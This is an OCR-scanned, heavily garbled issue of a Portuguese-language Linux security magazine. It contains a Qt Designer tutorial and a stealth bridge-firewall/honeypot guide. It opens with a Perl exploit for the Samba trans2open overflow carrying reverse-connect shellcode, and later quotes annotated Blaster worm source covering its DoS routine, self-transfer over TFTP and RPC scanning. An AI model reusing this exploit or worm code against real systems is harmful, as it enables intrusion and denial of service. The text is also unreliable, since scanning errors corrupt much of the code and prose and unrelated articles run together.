“\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x01\x00\x00\x00~ .
“\x64\x00\x00\x00\x00\xd0\x07\x0c
\x00\xd0\x07\x0c\x00\x00\x00\x00~ .
"\x00\x00\x00\x00\x00\x00\x00\xd0
\x07\x43\x00\x0c\x00\x14\x08\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00" .
"\ x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x90~ .

GetNops (772) .

# xor decoder courtesy of hsj
“\xeb\x02\xeb\x05\xe8\xf9\xff\xff
\xff\x58\x83\xc0\x1b\x8d\xa0\x01".
"\xfc\xEf\xEf\x83\xed\xfc\x8b\xec
\x33\xc9\x66\xb9\x99\x01\x80\x30" .
"\x93\x40\xe2\xfa”.

# reverse-connect, mangled lamagra code
+ fixes

"\xla\x76\xa2\x41\x21\x£f5\x1a\x43
\xa2\x5a\x1la\x58\xd0\xla\xce\x6Eb” .

"\xd0\xla\xce\x67\xd8\xla\xde\x6f
\xle\xde\x67\x5e\x13\xa2\x5a\xla”.

“\xd6\x67 \xd0\x£5\x1a\xce\x7 £ \xEf5\x54 \xd6\x7d" .

Spl.sp2 ."\x54\xde\x63".
$al.sa2.%a3.sa4.

"\xle\xd6\x7f\xla\xd6\x6b\x55\xd6\
x6£\x83\x1a\x43\xd0\xle\xde\x67".

"\ x5e\x13\xa2\x5a\x03\x18\xce\x67\xa2
\x53\xbe\x52\x6c\x6c\x6c\x5e”.

"\x13\xd2\xa2\x41\x12\xT79\x6e\xb6c\xbC
\x6c\xaa\x42\xe6\x79\x78\x8b" .

"\xcd\xla\xe6\x9b\xa2\x53\x1b\xd5\
x94\x1la\xde\x9£\x23\x98\x1a\x60".

"\xle\xde\x9b\xle\xc6\x9E\x5e\x13\
x7b\x70\x6c\x6c\x6c\xbc\xfl\xfa” .

“\xfd\xbc\xe0\x£fb” .

GetNops (87) .
(SRetaddr x 8).
NBBDEEEL (0N 00" = 277);

return $exploit;

CreateBuffer solx86 {
my ($Host, $Port, $Return) = @ ;

my $RetAddr = eval ($Return):;
my $IckAddr = $RetAddr - 512;

$RetAddr = pack(™1”, $RetAddr):;
$IckAddr = pack(™1”, &$Ickaddr);

# IckAddr needs to point to a writable
piece of memory

my ($al, $az, $a3, $a4) = split(//,
gethostbyname ($Host) ) ;

$al = chr(ord($al) * 0x93);

$a2 chr (ord ($a2) =~ 0x93);

$a3 = chr(ord($a3) ~ 0x93);

$a4 = chr(ord($a4) ~ 0x93);

my ($pl, $p2) = split(//, reverse(pack(“s”,
$Port)));

5pl = chr(ord(5pl)

$p2 = chr{ord($p2)

A

0x93) ;
~ 0x93);
my $Sexploit =
# trigger the trans2open overflow
“\x00\x04\x08\x20\xf£\x53\x4d\x42\
x32\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x01\x00\x00\x00".
"\x64\x00\x00\x00\x00\xd0\x07\x0c\
x00\xd0\x07\x0c\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\xd0
\x07\x43\x00\x0c\x00\x14\x08\x01~ .
“\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00".
"\ x00\x00\x00\x00\x00\%00\x00\x%00
\x00\x00\x00\x00\x00\x00\x00\x90".

GetNops (813)

# xor decoder courtesy of hsj

“"\xeb\x02\xeb\x05\xe8\xEI\xEE\xEE\
xf£\x58\x83\xc0\x1b\x8d\xa0\x01” .

"\ xfe\xff\xff\x83\xed \xfc\x8b\xec
\x33\xc9\x66\xb9\x99\x01\x80\x30" .

"\x93\x40\xe2\xfa”.

# reverse-connect, code by bighawk
"\x2b\x6c\x6b\x6c\xaf\x64\x43\xc3
\xaz2\x53\x23\x09\xc3\xla\x76\xa2".
"\x5a\xc2\xd2\xd2\xc2\xc2\x23\x75
\x6c\x46\xa2\x41\x1la\x54\xfb” .
Sal.$a2.5a3.%a4 .7"\x£f5\xfb”. $pl.$p2.
“\xf5\xc2\x1a\x75\x£9\x83\xc5\xc4\
x23\x78\x6c\x46\xa2\x41\x21\x%a”.
"\xc2\xcl\xc4\x23\xad\x6c\x46\xda\
xea\x61\xc3\xfb\xbc\xbc\xe0\x£fb” .
"\ xfb\xbe\xfl\xfa\xfd\xla\x70\xc3\
xc0\xla\x71\xe3\xcl\xc0\x23\xa8"”.
“\x6c\x46".
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GetNops (87) .

“010101".
SRetAddr. "
$Ickaddr.
SRetAddr.
$IckAddr.
“101010”:

EPDELL S \oc 00 % x

277)

return Sexploit;

} -

sub CreateBuffer bsdx86 {
my ($Host, $§Port,
$Return) = @ ;

my SRetAddr
eval ($SReturn) ;

my S$Ickaddr $RetAddr -
512;

$RetAddr pack (“1",
SRetAddr) ;

$IckAddr pack (*1”,
$Ickaddr) ;

# IckAddr needs to point
to a writable piece of
memory

my ($al, $a2, $a3,
= split(//,
gethostbynama($Host))}

sal = chr(ord(sal)
0x93) ;

sa2 = chr(ord(sa2)
0x93) ;

$a3 = chr(ord($a3)
0x93) ;

Sa4 chr (ord($a4)
0x93) ;

my ($pl, $p2) = split(//
, reverse(pack(“s”,
$Port)));

$pl = chr(ord(spl) *
0x93) ;

$p2 chr (ord($p2) *
0x93) ;

my Sexploit =
# trigger the
trans2open overflow
"\x00\x04\x08\x20\xF£\x53 \xdd
\ed2\x32\00N\00N\K00\00\x00\00\00" .
™\x00\:00\2x00\200\x00\3c00\x00\
00\x00\x00\K00\x:00\%01\<00\x00\x00" .
*\ac64'\a00 a0 0\2<00 N300 \2030\3c0 7 \ax)
c\x00\xd0\x07\x0c\x00\x00\x0D0\x00" .
\x00\x00\x00\x00\x00\200\2:00'\220
\x07\x43\x00\x0c\x00\x14\x08\x01" .
"\x00\x00\x00\2x00\200\x00\x00\2c00\xc
00\x00\x00\x00\x00\x00\x00\x00~ .
"\a00\a00\ax00\ax00\200\cD0\D0 \ac00 e
00\x00\x00\x00\x00\x00\x00\x30" .

GetNops (830)

# xor decoder
courtesy of hsj
“\xeb\x02\xeb\x05\xe8\xf9\x
£E\xEE\x££\x58\x83\xc0\x1b\x8d\
xal0\x01”.
"\ xfe\xEf\xff\xB3\xed\xfc

= \x8b\xec\x33\xc9\x66\xb9\x93\

x01\x80\x30~.
"\x93\x40\xe2\xfa”.

# reverse-connect,

code by bighawk

“\xa2\x5a\x64\x72\xc2\xd2\
xe2\xd2\xe2\xc2\x23\xf2\x5e\x13
\x1la\x50”.

“\xfb” =
$al.$a2.%a3.5a4 ."\xf5\xfb”.
$pl.5p2.

"\x£5\xc2\x1la\x75\x21\x83
\xei\xc5\xe3\xe3 \x23\x£f1\x5e\x13
\xd2\x23~.

“\xc9\xda\xc2\xc0\xc0\x5e\
x13\xd2\x71\x66\xc2\xfb\xbc\
xbe\xe0\xfb” .

Mefo\atbe\scf T \scfa\sefd\xla\x7 0\xc2
\xc7\xc0\xc0\x23\xa8\x5e\x13”.

GetNops (87) .

*OTOL0FEE.
SRetAddr.
$IckAddr.
SRetAddr.
$Ickaddr.
“3101010".

“DDI!Z. (“\x00” x
277) ;

return $exploit;

}

sub Unblock {

my $fd = shift;

my S$flags;

$flags =
fentl ($£d4,F _GETFL,0) || die
“Can’t get flags for file
handle: $!\n”;

fentl ($£d, F_SETFL,
$flags |0 NONBLOCK) || die
“Can’t make handle
nonblocking: $!\n”;

3

sub GoAway {I
exit (0) ;
3

sub ReadResponse {

my ($s) = @ ;

my $sel = IO::Select-
>new($s) ;

my $res;

my @fds = $sel-
>can read(4);

foreach (@£fds) { Sres .=
<$s3>; }

return $res;

sub HexDump {
my ($data) = @ ;
my @x = split(//,
Sdata) ;
my Scnt = 0;

foreach my $h {@;)

{

if (3ent > 16)
{
print “\n”;
Scnt = 0;

}

printf (“\\x%.2x”",
ord(sh));
Scent++;
}

print ™\n”;

b

# thank you k2 ;)
sub GetNops {
my ($cnt) = @ ;
my @nops = split(//
" \x99\x96\x97\x95\x93\x91\x90\x4d\x
48\x4T7\x4E\x40\x41\x37\x3E\XO7" .
"\act6\arde\xcf8\x92 \acfc\
x98\327\x2 £\ 9 £\ £ 9 \3cda\ x4 4\ 42\
x43\x49\x4b" .
W\xf5\x45\x4c”) ;
return join (™", @nopsl[
map { rand @nops } (1 ..
gcnt )1);
}

Antonio Marcelo Ferreira da
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Linux e mantenedor dos projetos
HoneypotBR
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(www. freerp.com. b e da
Certificacao Brasileira em GNU/Linux
(www.cblinux.com.b). E diretor da
Assaciacao Brasileira de Software
Livre (www.abrasol.org) na drea de
sequranca de dados e articulador das
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suas criticas, sugestoes e até mesmo
um alé para
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QT

; QTD.és-igner faz muita diferenca. Além da facilidade de montar os elementos nas posicoes corretas, evita-se a necessidade de
cophecer, pelomenos inicialmente, toda.s'biblioteca. ; :
O QTDesigner gera um projeto e o codigo necessario para executa-lo, cabendo ao programador apenas completar o
cddigo para funcoes especificas. 3 ' : :
_-Aolengo do artigo, vamos mentar urn visualizador simples de imagens, utilizando o QTDesigner, € conhecer mais um pOUCo
-dos conceitos desta biblioteca. | j ]
A instalacaa do QTDesigner ¢ simples, dependendo de sua distribuicao. O pacote de gt-devel, ou gt-designer, existe para a
maioria das distribuiq'ée_s de Linux, tanto em forma binéria guanto em cédigo-fonte a ser compilado.
: : No site da Trolitech existem links para downloads, documentos e informacdes sabre licencas e-precos para o Uso comercial.

http://www trolitech.com/products/gt/index.html

> Conceitos basicos

Widget ¢ um médulo ou objeto que fornece uma

re de miidar
e Ge Mudal

Figura 1 - Nosso objetivo
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e temos o editor de propriedades;
: sendo Usados & de
querdo, temos a batrade
modufos.

a dois botaes,; e um Pixmap Label,
projeto é didatico, vamos fazer

m outros objetos mais flexives

nen Widgetsda barra de ferra- tak
tilizados Ciquee"nrusrBLttone
salinha-

as

@

Nesta tela, temos umselstor para
arguivo. Caso a tela central nac abra. va
Vamos selecionar AMew ffE/PijE‘(t/C++ ijecl‘ e clit

em OK. Uma tela chamada Project Sertin

trocaremos o nome do projeto, de unna
botao aa lado, com reticéncias, serve para mudar o caminho do
projeto. Como neste casa fo
coiretc, 0 caminho ja é suposta autem

Porenquanto, néo precisamos mu‘da*mai

nto, é so cli

O proximo passo é
novamente em Ale/Vew e, natela de tipos
Dialog. Dialeg & um formulério
nosso programa. Com o mouse
“anedida do espaco entre os edifores d
existe uma medwaa carreta ot efftic

padréo visual para fer uma certa hq,m- nia entre os elermentos. :
Apts o ajuste, cligue po editor de propriedades a direita. No
tab Properties, procure a propriedade chamada narme = trogue 6
on

F;gura 3 Form crlado e com os nomes corretos -







Na mesma lista de members, va até o topo e,
logo abaixo de slots e public, devera haver um
subnivel com o nome de abrelmagem(). Clique duas
vezes e responda YES ao dialog perg;mtamo se um
novo arguivo .ui deve ser criado.

Uma tela de edicao se abrira com a declara-
cao da funcao pronta. Preencha com o cédigo
abaixo, entre os dois eolchetes da funcao “void

formlmagem::abrelmagem()”

/l preencha com este cddigo.
QString

nome_imagem=QFileDialog::getOpenFileName(QString::null,

QString::null, this);

if(nome imagem.isEmpty()) {
QMessageBox::information(this,
“Imagem”, “Nao pode abrir o arquivo”);

return;

QPixmap *myPixmap = new
QPixmap(nome_ imagem);

Iblimagem->setPixmap(*myPixmap);

Ibllmagem->repaint(TRUE);

Este codigo gera um objeto do tipo QString,

Figura 8 - Membros na lista

uma classe para manipulagao de strings,
© carrega com um nome retornado por um.
objeto do tipo FileDialog. O proximo passo

¢ testar se um arquivo foi encontrado
(nome_i ."agem.asEmpt\ (1). Em caso

negativo, com a string vazia, uma
messagebox é emitida; em caso positivo, &

X
criado um objeto do tipo QPixmap para
carregar e armazenar a imagem, € ©
masmo & enviado ao nosso labal.

Va em FilefNew, selecione C++ Main

File (main.cpp). RDS

)0s este comando, exaclte

T
9

Um executavel de nome imagem,
ou qua\quercue seja o nome do sed

projeto, deve ser

o]
I
(o)
=

)
(@
{4}
%)
O
i
>
in
-
(<)

3

erros no make, verifigue a désitagés do
eto

codigo acima e 0s nomes dos "Dj







conceito de firewall que narmalmente conhecemos é
aquele de um hardware ou um software gue tem como
principais fungdes o blogueio de pacotes ou filtro de
aplicacées. Hoje, este tipo de recurso faz parte da estrutura de
seguranca de qualquer empresa que utilize a Internet.
Contudo, os firewalls podem ser detectados e levantadas

& informacdes a seu respeito, mesmo quando bem configurados. Isto

| inibe alguns atacantes, mas a grande maioria se vé tentada a
invadir ou paralisar este tipe de equipamento.

Imagine entao que temos um firewall invisivel, ou melhar,
que se tornasse transparente ao atacante, sem que a stack TCP se
tornasse visivel. Isso parece mégica, mas é possivel simplesmente
£ Utilizando um recurso: a bridge (ponte). O conceito de uma bridge
é basicamente duas placas conectando redes distintas, Desse
modo, 0s pacotes passariam por estas placas e poderiam ser
analisados. Veja o esquema explicativo:

-> Entrada-Bridge -> Entrada -Firewall -> Karnel -> Saida -
Firewall -> Safda-Bridge->

Assim poderiamos adaptar uma maquina Linux e aplicar
nela regras de firewall. Isso significaria que um analisador de
pacotes, sem um IP, se torna virtualmente invisivel ao atacante. E
nao é s6 isso, Vocé ainda pode criar regras no iptables, ou melhor,
calocar urn honeypot por tras e ter um grande sistema de DS.
Tudo isso invisfvel!

- >> Procedimentos

A primeira idéia seria a de recompilar o kernel, reajustando
uma série de funcoes, entre elas, a de bridge. Para diminuir todo
esse trabalho, que tal termos um liveCD com isso tudo jd preparado
para nosso trabalho?

Com liveCD, basta inicia-lo e ele faz quase todo o resto
para vocé. Escolhemos um projeto que utiliza as facilidades do
Knoppix, aliado aos recursos de bridge, para que vocé possa
montar uma estrutura dessas em dez minutos e colocarem

® producio em seu ambiente de trabalho.

O projeto esté sendo desenvolvido pela comunidade do
projeto HoneypotBr: o Stealthwall.

0 Stealthwall é um firewall bridge desenvolvido por Fabio
Henrique, desenvolvedor do Fakeftp. Testamos o liveCD em ambiente de
producao e obtivernos excelentes resultados. O Stealth é capaz de filtrar
pacotes, aproveitando os recursos do netfilter e ainda com a possibilidade
de quandoinstalade em HD, funcionar também com o Snort.

Para a montagem dessa nossa estrutura, precisaremos do seguinte:

- dois cabos de rede crossover;
- um computador com duas placas de rede e unidade de CD-ROM,

64 MB de RAM recomendados (32MB minimos), HD de 20 GB (para
gravagdo de logs opcional);




>> A ISO do Stealthwall;

O Stealthwall pode ser baixado no site do projeto
HoneypotBR , na drea de'dowloads.

http:/Awww.honeypot.com.br

A imagem vem em formato ISO e vocé pode utilizar
qualguer programa para baixa-la. Em seg;u'ida, é s acertar a
BIOS de seu computador para iniciar pelo CD-ROM e acessar
o liveCD. -

Se a méquina nao tiver suporte a inicializacdo pelo CD-ROM
(uma BIOS muito velha), vocé pode criar um disco de boot
com os seguintes passos: '

- Coloque o CD-ROM do StealthWall em uma méaquina com Linux e
monte o CD-ROM com o comando:

mount /dev/cdrom /mnt/cdrom

- Cologue um disquete nao-fermatado na unidade de disco
flexivel e digite o comando:

0 if=/mnt/cdrom/boot.img of=/dev/fd0

Depois da inicializacao do StealthWall, a distribuicao fara
uma série de testes para a deteccdo do seu hardware. Ao final do
processo de inicializacdo, alguns servicos ainda serdo iniciados como:
cron, snmp, bridge (responsével por uma mensagem pedindo para
aguardar 40 segundos no maxima), sadoor etc.

>> 0 Logon

O StealthWall, sendo corretamente iniciado, pedira o
Usudrio e senha para entrar no sistema. Utilizaremos o root como
padrao, com a senha xxxx, ou seja, digitaremos a letra x mintscula
quatro vezes.

E extremamente recomendado trocar a senha com o
comando passwd, pois se a maquina entrar imediatamente em
producao, nao podemos deixar senhas padrenizadas no sistema.

Caso voceé reinicie a maquina, o usuério root voltara a ter a
senha padrao.

>> Configuracao das Regras
de Firewall

Inicialmente vamos testar se tudo esta funcionando
corretamente em nosso sistema. Ligue uma das pontas dos cabos
crossover em uma das placas do StealthWall e a outra ponta numa

maguina qualguer. O outro cabo vocé pode ligar na outra placa e
em outro micro. Veja o esquema abaixo:

Microl< -—>Placai-Stealth-Placa2< > Micro2

Em seguida, digite as sequintes regras de firewall:

| iptables -P FORWARD -j ACCEPT
8 iptables -A FORWARD -p tcp - j ACCEPT

iptables -A FORWARD -p udp - jACCEPT

Iptables -A FORWARD -p icmp - ] ACCEPT

iptables -A FORWARD -m state —state RELATED,ESTABLISHED -j
ACCEPT

Depois tente enviar um PING a outra méquina de sua rede. Se
tudo ocofrer de maneira correta, o StealthWall estaré funcionando.

A Interfae br0 |
um Honeypot

>>

Quando a bridge é montada, aparece uma nova interface [
de rede: br0, que representa a bridge propriamente dita. Podemos _51_‘
criar regras de firewall para ela e a utilizarmos em nossa configura-
céo. Vamos imaginar o seguinte: que na maguina atras do
StealthWall, nés tenhamos um honeypot. Vamos utilizar o software E
Honeyperl versao 0.0.7 para isso. Esse software pode ser obtido no
site do projeto HoneypotBR na drea de downloads.

Vamos montar uma estrutura de estudo conforme o
esquema abaixo:
<Internet>< >Stealthwall<—— ><Honeypot>

Para configurarmos o Honeyperl, colocaremaos apenas os
servicos de FTP e Web ativos. A configuracio do Honeyperl pode
ser vista também no arquive conf/honeyperl.conf.

>> Arquivo de configuraciio
do honeyperl

Esse arguivo é dividido em duas partes.

A primeira é onde ficam as configuracées globais,dominio, e-
mail e o usuario. A segunda parte decide guajs servicos
emular e suas portas. Todos os fakes que forem ser iniciados

8 devem ser setados nesta parte.A sintaxe deles segue os

seguintes modelos:
varidvel=resposta

e-mail=daniel@underlinux.com.br




e para os fakes a serem emulados:

ake:mddulo:arquivo de configuracao:porta:comentario

. fakesmtp:fakesmtp:fakesmtp.conf:25:5mtp emul

-

" | Seciio 1

#Dominio que sera utilizado pelos fakes
dominio=seudominio.com.br

#E-mail utilizado nos fakes
email=admin@seudominio.com.br

#Usudrio utilizade (nao rode como root)
usudario=root

.| #Deseja ver as mensagens no terminal?

#fopcoes:(simiyes)nao/no)
terminal=sim

© ttDesefa ativar firewall
ffopcoes:(sim/yes)nao/no)
firewall-nao

. #0s sistemas disponiveis para utilizacao de firewall:
#pode-se ter linux22, linu24 ou openbsd

#opehbsd :trabalha com PF

H#linux24 : [PTables Ketnel 2.4 e 2.6

¢ #linux22 : ipchains Kernel 2.2

. so=linux24
Secao 2

#Fakes a serem iniciados
- #akesquid:squid:conf/fakesquid.conf:3128:Squid Emul

o : #akesmtp:ismtp:conf/fakesmtp.cont:25:Smtp emul

 fakehttpd:httpd:confittpd.conf:80:Httpd emul
#akepop3:pop3:conf/pop3.conf:110:Pop3 emul
#akeecho:echo::7:Echo emul

. fakeftp:ftp:conf/fakeftp.conf:2 1:Ftp emul

- #akepit:pit::20001:Pit emul

Agora criaremos as regras de firewall utilizando a interface br0.
Vamos configurar tomando como base que o honeypot terd o
endereco 200.XXX.XXX.XXX & sO serao permitidas as portas 20, 21, 53
e 80 .Vamos as regras:

iptables -P FORWARD -] DROP

iptables -A FORWARD -i br0 -s 200.xxx.xxx.xxx/xx -] ACCEPT
iptables -A FORWARD -i br0 -p udp -d 200.xxx xxx. 0 —dpart 53 -
ACCEPT

iptables -A FORWARD -i brO -p tep -d 200.xxx.xxx.xxx —dport 53 -
ACCEPT

iptables -A FORWARD -i br0 -p tcp -d 200.x¢x.xxx.xxx -m multiport
—destination-ports 20, 21, 80 -j ACCEPT

iptables -A FORWARD -i brQ -d 200. Xxx. XXX XXx/Xx -m state —state
RELATED, ESTABLISHED -j ACCEPT

Pronto! J& estamos prontos para trabalhar.

>> Conclusdes

A idéia de um firewall transparente é interessante como
uma ferramenta de estudos e de apoio a seguranga. Com o
aumento dos atagues e das invasées, podemos colocar honeypots
como iscas, atrds desse tipo de recurso, para gue possamaos
detectar os atacantes.

E facil implementar com um liveCD, mas também achamos
interessante gue o especialista estude a fundo para criar solucdes
personalizadas e préprias. O software ja foi testado em ambientes
de producao e o resultado gue obtivemos foi mais que satisfatério.
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Por Bruno Cesar
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Ameacas

ovas ameacas viroticas

e vocé ainda duvida que as

proximas ameacas viroticas,

executadas e implementadas
pelos mais variados virus ou worms,
virdo através de bugs do sistema
operacional da Microsoft, o Windows,
ou dos mais variados softwares, tome
cuidado! Vocé poderé ser mais uma
vitima dessas pragas que, em menos
de 24 horas, podem rodar o mundo e
chegar até seu PC. Tudo isso de uma
forma facil, sem gque vocé e muito
menos seu antivirus possam fazer
nada. Seja bem-vindo ao mundo da
Internet e sua evolucao. A cada dia,
novas pragas virtuais atacam compu-
tadores domésticos e servidores com
uma grande facilidade.

E a protecdo? E os milhdes de
délares gastos pela empresa naquele
superprojeto de seguranca com a
implementacdo de um Firewall? Ou
aguele sistema antivirus para servido-
res que promete bloquear todo e
gualquer tipo de ameaca hacker?

Bem, tudo aquilo que pode ser
implementado em um servidor, ou um
PC domeéstico, nao tera eficiéncia se
um bug ou vulnerabilidade for gerada
dentro do préprio servidor, sem gue
a0 menos o0 administrador do sistema
tenha o menor conhecimento dessa
ameaca. Neste case, nem o firewall
nem o antivirus servirdo para nada.
Esse exemplo pratico acontece ha
muito tempo. Tanto atagues execu-
tados por virus quanto agueles de
bugs em geral, vulnerabilidades em
Daemons ou servicos desatualizados e
mal configurados,

acontecem cotidianamente.

Ate pouco tempo, a maior
preocupacao dos usuarios em relacao
a pragas viroticas era executar
aquele disquete com um joguinho
gqualgquer que poderia vir infectado
com um virus de boot, por exemplo.
Atualmente, isso é apenas mais um
dos detalhes para se preocupar. A
proporcao de perigo gerada hoje

somente pelo fato de nosso PC estar
conectado a Internet é enorme. Isso
aumenta se, nesse PC, estiverem
rodando softwares bésicos para
diversao ou trabalho, como instant
messengers, programas PZP ou
clientes de e-mail Outlook que, de
alguma maneira, criem uma porta de
entrada para virus. Mas, enfim, o que
um simples usuario que so utiliza a
Internet para ver e-mails, baixar
musicas e entrar no ICQ pode fazer
para se ver livre dessas ameacas
virtuais? Essa é uma resposta que
nao é tao simples assim como parece,
ainda mais nos tempos de hoje. As
providéncias basicas sao as

de sempre:

- Mantenha seu antivirus sempre atualizado
- Use um Firewall

- Mantenha seu sistema sempre
atualizado com os Gltimos patches

de seguranca

- Nao abra arquivos executaveis
recebidos em seu e-mail, etc.




Estas providéncias simples sao as Unicas que um Usuario
comum pode fazer. Ele nao tem a menor culpa da perda de
dados e sofre com a inconveniéncia de ter um virus em seu PC.
Ja que penalizar o usuario é facil demais, fica a pergunta: guem
sao os verdadeiros culpados dos warms? A responsabllidade é
atribuida aes hackers, que passam incansaveis noites em claro
desenvolvendo seu virus. E os desenvolvedores e programadares
dos softwares gue desenvolvem um sistema operacional como o
Windows, com seus inevitaveis bugs também podem ser culpa-
dos? Afinal, os bugs a vista des hackers servem para gue seu
virus ou worm tenha um impacto maiot. Enfim, culpados a parte,
o fato é gue os maiores atingidos sdo principalmente os usuarios
do sistema operacional da Microsoft,

Com a constante evolucdo na area da informatica,
podemos ver possiveis pragas viroticas sendo criadas com
novas técnicas de infeccoes e disseminacao. Os programado-
res e desenvolvedores de virus ja tém a receita para criacao
de supervirus ou worms que tenham uma grande capacidade
de distribuicao, sendo que o segredo esta em simples
vulnerabilidades utilizadas e exploradas por essas suas
criacdes. O assunto é complicado e envolve diversos
desenvolvedores de softwares, grandes empresas e especialis-
tas de seguranca da drea, visando uma uniao para encontrar
solucoes amigaveis para que esses tipos de acoes nao venham
a ser executadas no futuro.

>> Worms- virus vitaminados
que vieram para ficar

Talvez um dos maiores ataques executados na histéria da
informética em ocorréncias de seguranca tenha sido executade por
umwerm. A criacao desses peguenos arguives vem crescendo muito,
hoje podemos dizer que a criacao de worms & maior do gue a de virus
comuns gue so tém a funcao de infectar outros arguivos. Os worms,
ao contrario, tem como principal funcao se espalhar pela rede, seja
por e-mail ou por bugs encontrados no sistema.

Abaixo temos um exemplo de partes do codigo-fonte comentado
de um dos maiores worms desenvalvidos nos tltimos tempos, o Blaster.
Responsdvel, entre outras coisas, por muita dor de cabeca e prejuizos a

Q)
o

trechos retirados de seu codige visam mostrar, alem de algumas

diferencas de um virus normal e de um worm, as suas principais caracteris-

Ticas, comparando com outros tipes de atagues e até outros tipos de
. -

- Bugs consertados e codigo compatibilizado com MS-Visual C++ 6, por:
Marcos Velasco |

tip/Awvww . velasco.com.br)
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/ Faz o atague DoS ao site windowsupdate.com da

Microsoft
void = stdcall AttackMs()
{

unsigned long E BX, ipaddrms, socketms,
sockoptsretval, optval = 1;

_asm mov E BX, ebx

// Obtém o IP
ipaddrms = GetIpAddy( “windowsupdate.com” );

// Inicializa socket
socketms = WSASocketA( 2, 3, OxFF, NULL, NULL, 1

if ( socketms == -1 )
{

return;
}

sockoptsretval = setsockopt( E BX, NULL, 2,
&optval, (unsigned long) 4 );

if ( sockoptsretval == -1 )
{
return;
¥
// Faz a construg¢do e envio dos pacotes
whiiker AERs =)
{

build and send packets( ipaddrms, socketms );

Sleep( 20 );

}

// Finaliza socket
closesocket ( socketms ) ;

// Faz o ataque DoS ao Windows Update da Microsoft,

caso o

// dia seja maior gque 15/08...

if ( (atoi( DateStr ) > 15) && (atoi(
MonthStxr ) > 8) )

{

CreateThread( NULL, NULL,
(LPTHREAD START ROUTINE) AttackMS,
NULL, NULL, &ThreadID );
3

// Faz a pesquisa e infecgdo
whi let (T == 1)

{
}

// Finaliza Winsock
WSACleanup () ;

ScanAndInfect () ;

b

}
// Faz o atagque DoS ao Windows Update da Microsoft,
caso o

// dia seja maior que 15/08...

if ( (atoi( DateStr ) > 15) && (atoi(
MonthStr ) > 8) )

1

CreateThread ( NULL, NULL,
(LPTHREADisTARTiROUTINE) AttackMs,
NULL, NULL, &ThreadID );

// Faz a pesguisa e infecgido
whide s 1 ==-1 )

{
3

ScanAndInfect () ;

// Finaliza Winsock
WSACleanup() ;

Como podemos perceber no codigo acima, seu desenvolvedor
adotou e implementou em seu worm um tipo de ataque que
vem sendo executado em outros tipos de worms. Entre ales, o
MyDoom, a grande ameaca gue infectou mais maquinas, mais
que o proprio Blaster. Considerado por algum tempo o worm
gue infectou mais maquinas em tode mundo, o Mydoom tem
a mesma funcao de fazer atagques DoS em determinadas
datas. A diferenca era que os atagues se destinavam a sites
da SCO. Os ataques DoS deram uma pequena trégua aos
administradores de grandes servidores responsaveis por
hospedar grandes portais e sites importantes. Porém, é um
tipo de ataque gue preocupa muito e pode ser bem-sucedido
se for bem executado por diversas maquinas. Esse é o objetivo
dos seus desenvolvedores: utilizar maguinas zumbs, para
efetuar atagques sem que as proprias vitimas saibam de onde
estao vindo esses sucessivos atagues.

// Vai usar a porta 69
sprintf( name.sa data, “%d”, htons( 69 ) );

if ( !(bind( s, &name, 0x10 )) )
{
goto this loc ret;
%
if ( (recvirom( s, &buf, 0x204, NULL, &from,
&fromlen )) == -1 )
{
goto this loc ret;
}

// Faz a abertura do arquivo (de si préprio) em
modo binario
if ( !(thisfile = fopen( filemame, “rb” )) )

{
}

goto this loc ret;

// Loop para envio dos dados
send self loop:
i44;
var 204 = htons( 3 );
var 202 = htons( i );
readlen = fread( &var 200, 1, 0x200, thisfile );
readlen += 4;

// Envia parte do arquivo

if ( (sendto( s, &var 204, filelen, NULL, &to,
tolen })) < 1 )
{

goto fclose it;

s

L/ Aguarda gquase 1 segundo
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Sleep( 900 );

if ( readlen < 0x204 ) // BRguarda 2 segundos
{ Sleep( 2000 );
goto send self loop;
} : // Executa o Blaster
sprintf ( cmdbuffer, “%s\n”, msblast );
// Fecha arquivo send( sploit socket, &cmdbuffer, strlen(
feclose( thisfile ); cmdbuffer ), NULL ):;

goto this loc ret;
Sleep( 2000 );
felose it:

if ( ! ((unsigned long) thisfile) ) close socket:
{ // Fecha sockets, threads e handles
goto this loc ret; if ( sploit socket )
b {
closesocket ( sploit socket );
// Fecha arquivo }
fclose( thisfile );
if ( mysterious dword )
this loc ret:
// Fecha socket TerminateThread( hObject, NULL ):;
closesocket( s ); closesocket( s );
mysterious dword = 0;
// Termina thread 1
ExitThread( 0 );
¥ if ( hobject )
{
// Incrementa IPs CloseHandle( hObject );
void inc tvals() b
{ }
inec twvals start: 5
// Estd no limite da parte final do IP
(xxx.xxx.xxx.000) 2 void ScanAndInfect ()
if ( t4 > 254 ) {
{ £d set writefds;
td = 0; unsigned long namelen, argp = 1, tempvar2,
t34+; tempvar3;
} struct sockaddr name;
else SOCKET ss[20], currsock;
{ struct timeval timeout;
td++; Shie
return;
} // Inicializa wvariaveis
memset ( &name, 0, 16 );
// Estah no limite da 3a. parte do IP name.sa family = ( WORD ) 2;
(xacx.xxx. 000 . xxx) 2
e (e ERSannd ) // Define porta de atague = 135
4 sprintf ( name.sa data, “%d”, htons( 135 ) );
t3 = 0;
t244; // Tenta criar 20 conexoes
1 for T io = 0p d- 0. Hha)
else {
{ ss[i * 4] = socket( (unsigned long) 2,
E3++; (unsigned long) 1,
return; (unsigned long) 0 );
} if ( (unsigned long) ss[i * 4] = -1 )
{
// Estah no limite da 2a. parte do IP return;
(xxx.000 . xxx.xxx) 2 }
HEG £2 — 254 )
{ ioctlsocket( ss[i * 4], 0x8004667E, argp ):
=0 }
€lit;
} [/ Tenta 20 TPa...
else For (i =005 10 < 207 Ses )
{ {
inec tvals();
// Envia command “start” sprintf( &cp, “%d.%d.%d.%d”, tl1l, t2, t3, t4
sprintf( cmdbuffer, “start %s\n”, msblast ); )iz
if ( (send( sploit socket, &cmdbuffer, strlen/( tempvar2 = inet addr( &cp );
cmdbuffer ), NULL )) < 1 ) if ( tempvar2 = -1 )
{ {
goto close socket; return;
3 }




}
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sprintf( name.sa dataf[2], “%d”, tempvar2 );
commect( sa[i * 4], &pname, 16 );

// Aguarda 1.8 segundos
Sleep( 1800 );

// Faz o envio dos dados em 20 partes

for

{

{id="07d = 20; d4s )

timeout.tv sec = 0;
timeout.tv usec = 0;
